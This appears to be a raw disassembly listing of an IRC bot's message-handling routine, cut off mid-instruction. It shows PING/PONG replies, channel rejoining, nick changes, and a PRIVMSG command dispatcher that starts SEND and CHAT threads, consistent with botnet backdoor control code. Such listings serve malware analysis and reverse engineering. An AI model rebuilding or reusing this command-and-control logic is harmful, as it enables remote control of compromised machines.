dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1238 = dword ptr -1238h var_1230 = byte ptr -1230h var_11B0 = byte ptr -11B0h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1128 = dword ptr -1128h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_108C = byte ptr -108Ch var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = dword ptr -0FECh var_FE8 = byte ptr -0FE8h var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = dword ptr -0F58h var_F54 = byte ptr -0F54h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = dword ptr -0EC4h var_EC0 = byte ptr -0EC0h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = dword ptr -0E34h var_E30 = byte ptr -0E30h var_E10 = byte ptr -0E10h var_E00 = byte ptr -0E00h var_D80 = dword ptr -0D80h var_D7C = byte ptr -0D7Ch var_CFC = byte ptr -0CFCh var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = dword ptr -0C5Ch var_C58 = dword ptr -0C58h var_C54 = byte ptr -0C54h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = byte ptr -0A94h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 5D88h call sub_41BB20 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C4] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C8], ebx call sub_41B590 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41B5F0 add esp, 18h cmp [ebp+arg_0], ebx jz loc_401E94 push esi lea eax, [ebp+var_4488] push ebx push eax call sub_41B590 dec esi lea eax, [ebp+var_4488] push esi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push offset asc_42D0F8 ; " :" push eax call sub_41B900 mov [ebp+var_C], eax lea eax, [ebp+var_4488] push esi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 mov esi, offset asc_42D0F4 ; " " lea eax, [ebp+var_4AF0] push esi push eax call sub_41C0F4 add esp, 34h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+var_A8], 1Fh loc_401BA0: ; CODE XREF: sub_401ACD+E7j push esi push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_401BA0 mov esi, [ebp+var_90] cmp esi, ebx jz loc_401E94 cmp [ebp+var_8C], ebx jz loc_401E94 push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401BEE: ; CODE XREF: sub_401ACD+153j mov eax, [ecx] cmp eax, ebx jz short loc_401C1A cmp byte ptr [eax], 2Dh jnz short loc_401C22 cmp [eax+2], bl jnz short loc_401C22 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C1A: ; CODE XREF: sub_401ACD+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401BEE loc_401C22: ; CODE XREF: sub_401ACD+12Aj ; sub_401ACD+12Fj cmp [ebp+var_8ED], bl jz short loc_401C2D mov [ebp+var_8], edi loc_401C2D: ; CODE XREF: sub_401ACD+15Bj cmp [ebp+var_8F2], bl jz short loc_401C3B mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C3B: ; CODE XREF: sub_401ACD+166j cmp byte ptr [esi], 0Ah jz short loc_401C75 push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_41B5F0 lea eax, [ebp+var_C4] push offset asc_42D0F0 ; "!" push eax call sub_41C0F4 add esp, 20h loc_401C75: ; CODE XREF: sub_401ACD+171j push esi push offset aPing ; "PING" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401CC6 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_409A2C mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D6A push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h jmp loc_401D6A ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401ACD+1B7j mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a005 ; "005" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a302 ; "302" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D2E push offset a@ ; "@" push [ebp+var_84] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_401D6A inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41B5F0 jmp short loc_401D67 ; --------------------------------------------------------------------------- loc_401D2E: ; CODE XREF: sub_401ACD+238j push esi push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D71 push ebx push dword_4290A0 push dword_42909C push [ebp+arg_10] call sub_40B08D add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C loc_401D67: ; CODE XREF: sub_401ACD+25Fj add esp, 0Ch loc_401D6A: ; CODE XREF: sub_401ACD+1D8j ; sub_401ACD+1F4j ... mov eax, edi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_401D71: ; CODE XREF: sub_401ACD+270j mov esi, [ebp+arg_18] mov [ebp+var_A8], 3 mov edi, 80h loc_401D83: ; CODE XREF: sub_401ACD+2DBj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401DA0 mov [ebp+var_A4], 1 loc_401DA0: ; CODE XREF: sub_401ACD+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_401D83 mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401E9C mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401DCF: ; CODE XREF: sub_401ACD+392j cmp [esi], bl jz loc_401E5A push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_401E5A cmp [ebp+var_84], ebx jz short loc_401E5A push [ebp+var_84] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E5A lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2C4] push offset unk_42D084 push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_409A2C lea eax, [ebp+var_2C4] push eax call sub_4151AC add esp, 14h loc_401E5A: ; CODE XREF: sub_401ACD+304j ; sub_401ACD+324j ... add esi, edi dec [ebp+arg_24] jnz loc_401DCF push [ebp+var_84] push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E94 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E89: ; CODE XREF: sub_401ACD+612j ; sub_401ACD+8D5j ... push [ebp+arg_4] call sub_409A2C loc_401E91: ; CODE XREF: sub_401ACD+253Bj ; sub_401ACD+2558j ... add esp, 10h loc_401E94: ; CODE XREF: sub_401ACD+5Bj ; sub_401ACD+F1j ... push 1 loc_401E96: ; CODE XREF: sub_401ACD+2A61j pop eax loc_401E97: ; CODE XREF: sub_401ACD+29Fj ; sub_401ACD+2A83j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401E9C: ; CODE XREF: sub_401ACD+2F2j push esi push offset aNick ; "NICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401FF2 mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_401EC5: ; CODE XREF: sub_401ACD+44Aj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F12 lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401F12 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41BEB0 push [ebp+arg_1C] push edi call sub_41BEC0 add esp, 10h mov edi, 80h loc_401F12: ; CODE XREF: sub_401ACD+409j ; sub_401ACD+420j add esi, edi dec [ebp+arg_0] jnz short loc_401EC5 lea eax, [ebp+var_C4] test eax, eax jz loc_401E94 cmp [ebp+arg_24], ebx jz loc_401E94 push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F5A push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41B5F0 loc_401F52: ; CODE XREF: sub_401ACD+1C35j add esp, 0Ch jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F5A: ; CODE XREF: sub_401ACD+476j mov edi, [ebp+arg_18] xor esi, esi loc_401F5F: ; CODE XREF: sub_401ACD+4B3j cmp [edi], bl jz short loc_401F76 lea eax, [ebp+var_E00] push eax push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_401F87 loc_401F76: ; CODE XREF: sub_401ACD+494j inc esi add edi, 80h cmp esi, 3 jl short loc_401F5F jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F87: ; CODE XREF: sub_401ACD+4A7j lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_401E94 push eax call sub_41AFE0 push [ebp+arg_24] mov edi, eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_401E94 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41B886 push ebx lea eax, [ebp+var_45EC] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409A72 add esp, 24h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401FF2: ; CODE XREF: sub_401ACD+3DEj push esi push offset aPart ; "PART" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402014 push esi push offset aQuit ; "QUIT" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40203B loc_402014: ; CODE XREF: sub_401ACD+534j mov edi, [ebp+arg_18] xor esi, esi loc_402019: ; CODE XREF: sub_401ACD+56Cj cmp [edi], bl jz short loc_40202F push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402083 loc_40202F: ; CODE XREF: sub_401ACD+54Ej inc esi add edi, 80h cmp esi, 3 jl short loc_402019 loc_40203B: ; CODE XREF: sub_401ACD+545j push [ebp+var_8C] push offset a353 ; "353" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4020E4 push [ebp+var_80] push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40206F mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40206F: ; CODE XREF: sub_401ACD+597j push [ebp+var_80] push offset unk_42D030 loc_402077: ; CODE XREF: sub_401ACD+28CCj ; sub_401ACD+2C4Cj ... call sub_415220 loc_40207C: ; CODE XREF: sub_401ACD+1BE1j pop ecx loc_40207D: ; CODE XREF: sub_401ACD+7B6Fj pop ecx jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402083: ; CODE XREF: sub_401ACD+560j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42D00C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+var_8C] push offset aPart ; "PART" call sub_41C070 add esp, 18h test eax, eax jnz loc_401E94 lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4020E4: ; CODE XREF: sub_401ACD+582j push [ebp+var_8C] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_41C070 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push offset dword_42CFF8 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 cmp dword_429088, ebx jz loc_409854 loc_402138: ; CODE XREF: sub_401ACD+631j ; sub_401ACD+643j push [ebp+var_8C] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE mov eax, [ebp+var_84] inc [ebp+var_80] push 4 mov [ebp+var_88], eax pop esi mov [ebp+var_AC], esi loc_40217C: ; CODE XREF: sub_401ACD+8ADj ; sub_401ACD+8E9j ... shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax push offset dword_42CFF0 mov [ebp+arg_8], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402557 push [ebp+esi+var_8C] push offset aSend_0 ; "SEND" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40241E cmp [ebp+var_A4], ebx jz loc_4023F7 push [ebp+esi+var_88] mov edi, offset aS_4 ; "%s" lea eax, [ebp+var_1B80] push edi push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_1B94] push [ebp+esi+var_84] push edi push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_19FC], eax mov eax, [ebp+arg_4] mov [ebp+var_1B9C], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_1A7C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_19F4], eax mov eax, [ebp+var_8] mov [ebp+var_19F0], eax lea eax, [ebp+var_1A7C] push eax lea eax, [ebp+var_1B80] push eax lea eax, [ebp+var_2C4] push offset unk_42CFB4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_19F8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1B9C] push ebx push eax push offset sub_4161BC push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_19F8] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz loc_4023E6 loc_4022A8: ; CODE XREF: sub_401ACD+7EFj cmp [ebp+var_19EC], ebx jnz loc_4083BC push 32h call dword_427078 ; Sleep jmp short loc_4022A8 ; --------------------------------------------------------------------------- loc_4022BE: ; CODE XREF: sub_401ACD+67Bj ; sub_401ACD+691j push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4022D7 mov [ebp+var_4], 1 loc_4022D7: ; CODE XREF: sub_401ACD+801j cmp [ebp+var_88], ebx jz loc_401E94 push offset dword_42CFB0 push [ebp+var_88] call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4022FE cmp [ebp+var_4], ebx jz short loc_40230A loc_4022FE: ; CODE XREF: sub_401ACD+82Aj lea eax, [ebp+var_C4] mov [ebp+var_88], eax loc_40230A: ; CODE XREF: sub_401ACD+82Fj cmp [ebp+var_84], ebx jz loc_401E94 inc [ebp+var_84] jz short loc_402356 cmp [ebp+arg_10], ebx jz short loc_402356 lea eax, [ebp+var_338] push eax call sub_41AFE0 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41BE70 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_40235C ; --------------------------------------------------------------------------- loc_402356: ; CODE XREF: sub_401ACD+84Fj ; sub_401ACD+854j mov esi, [ebp+var_AC] loc_40235C: ; CODE XREF: sub_401ACD+887j mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401E94 push edi push offset dword_42CFA4 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz short loc_4023A7 mov eax, dword_4CB4E8 mov eax, off_429164[eax*4] cmp [eax], bl jz short loc_4023A7 push eax push ecx push offset dword_42CF88 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023A7: ; CODE XREF: sub_401ACD+8BCj ; sub_401ACD+8CCj push edi push offset dword_42CF80 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov eax, [ebp+esi*4+var_8C] cmp eax, ebx jz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz loc_40217C push eax push ecx push offset dword_42CF68 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023E6: ; CODE XREF: sub_401ACD+7D5j ; sub_401ACD+7852j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42CF2C jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4023F7: ; CODE XREF: sub_401ACD+6F9j lea eax, [ebp+var_C4] push eax push [ebp+esi+var_88] push offset unk_42CEE8 loc_40240A: ; CODE XREF: sub_401ACD+7E29j ; sub_401ACD+7E90j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 10h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_40241E: ; CODE XREF: sub_401ACD+6EDj push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40256D cmp [ebp+var_A4], ebx jz loc_402546 push 1Bh call sub_40B33E test eax, eax pop ecx jnz loc_402535 push [ebp+esi+var_84] lea eax, [ebp+var_2AA8] push offset aS_4 ; "%s" push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_2910], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB0], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_2990] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_2908], eax mov eax, [ebp+var_8] mov [ebp+var_2904], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42CEC0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Bh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_290C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB0] push ebx push eax push offset sub_415C59 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_290C] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_402524 loc_40250E: ; CODE XREF: sub_401ACD+A55j cmp [ebp+var_2900], ebx jnz loc_4083BC push 32h call dword_427078 ; Sleep jmp short loc_40250E ; --------------------------------------------------------------------------- loc_402524: ; CODE XREF: sub_401ACD+A3Fj call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42CE88 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402535: ; CODE XREF: sub_401ACD+982j lea eax, [ebp+var_C4] push eax push offset unk_42CE58 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402546: ; CODE XREF: sub_401ACD+972j lea eax, [ebp+var_C4] push eax push offset unk_42CE24 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402557: ; CODE XREF: sub_401ACD+6D2j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429094 mov [edi], ecx jnz loc_401E94 loc_40256D: ; CODE XREF: sub_401ACD+966j mov edi, [edi] mov [ebp+arg_8], edi push edi mov edi, offset aK ; "k" push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C push [ebp+arg_8] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C cmp [ebp+var_A4], ebx jnz short loc_4025BD push [ebp+var_8C] push offset dword_42CFF8 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 loc_4025BD: ; CODE XREF: sub_401ACD+AD4j cmp [ebp+arg_28], ebx jnz loc_409854 xor edi, edi cmp dword_42949C, ebx jle loc_402772 mov [ebp+arg_20], offset dword_43D7F0 loc_4025DB: ; CODE XREF: sub_401ACD+B2Dj push [ebp+arg_8] push [ebp+arg_20] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402601 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_42949C jl short loc_4025DB jmp loc_402772 ; --------------------------------------------------------------------------- loc_402601: ; CODE XREF: sub_401ACD+B1Dj push offset asc_42D0F8 ; " :" push [ebp+arg_0] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 mov cl, byte_429094 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429094 mov [eax+3], cl lea ecx, dword_43D808[edi] push 9Fh add eax, 4 push ecx push eax call sub_41B5F0 lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_402656: ; CODE XREF: sub_401ACD+C3Aj push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_1 ; "$%d-" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_4026C2 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_4026C2 lea eax, dword_43D7F0[edi] push eax call sub_41AFE0 add [ebp+var_C], eax pop ecx jz short loc_4026FD mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4026FD push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch jmp short loc_4026FD ; --------------------------------------------------------------------------- loc_4026C2: ; CODE XREF: sub_401ACD+BB1j ; sub_401ACD+BB8j mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_4026FD lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41B5F0 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 18h loc_4026FD: ; CODE XREF: sub_401ACD+BCAj ; sub_401ACD+BDEj ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_402656 lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_40271A: ; CODE XREF: sub_401ACD+C99j push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_40275D mov eax, [edi] cmp eax, ebx jz short loc_40275D push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch loc_40275D: ; CODE XREF: sub_401ACD+C75j ; sub_401ACD+C7Bj dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40271A mov [ebp+var_2C8], 1 loc_402772: ; CODE XREF: sub_401ACD+B01j ; sub_401ACD+B2Fj mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_429094 jz short loc_40278B cmp [ebp+var_2C8], ebx jz loc_40297C loc_40278B: ; CODE XREF: sub_401ACD+CB0j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_417EEE lea eax, [ebp+var_C4] push eax push offset aUser_0 ; "$user" push edi call sub_417EEE push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_417EEE push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_417EEE add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_417EEE mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41B900 add esp, 14h loc_4027FD: ; CODE XREF: sub_401ACD+E28j test eax, eax jz loc_4028FA push edi push [ebp+arg_0] call sub_41B900 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41B5F0 lea eax, [ebp+var_A0] push offset asc_42CDE0 ; ")" push eax call sub_41C0F4 add esp, 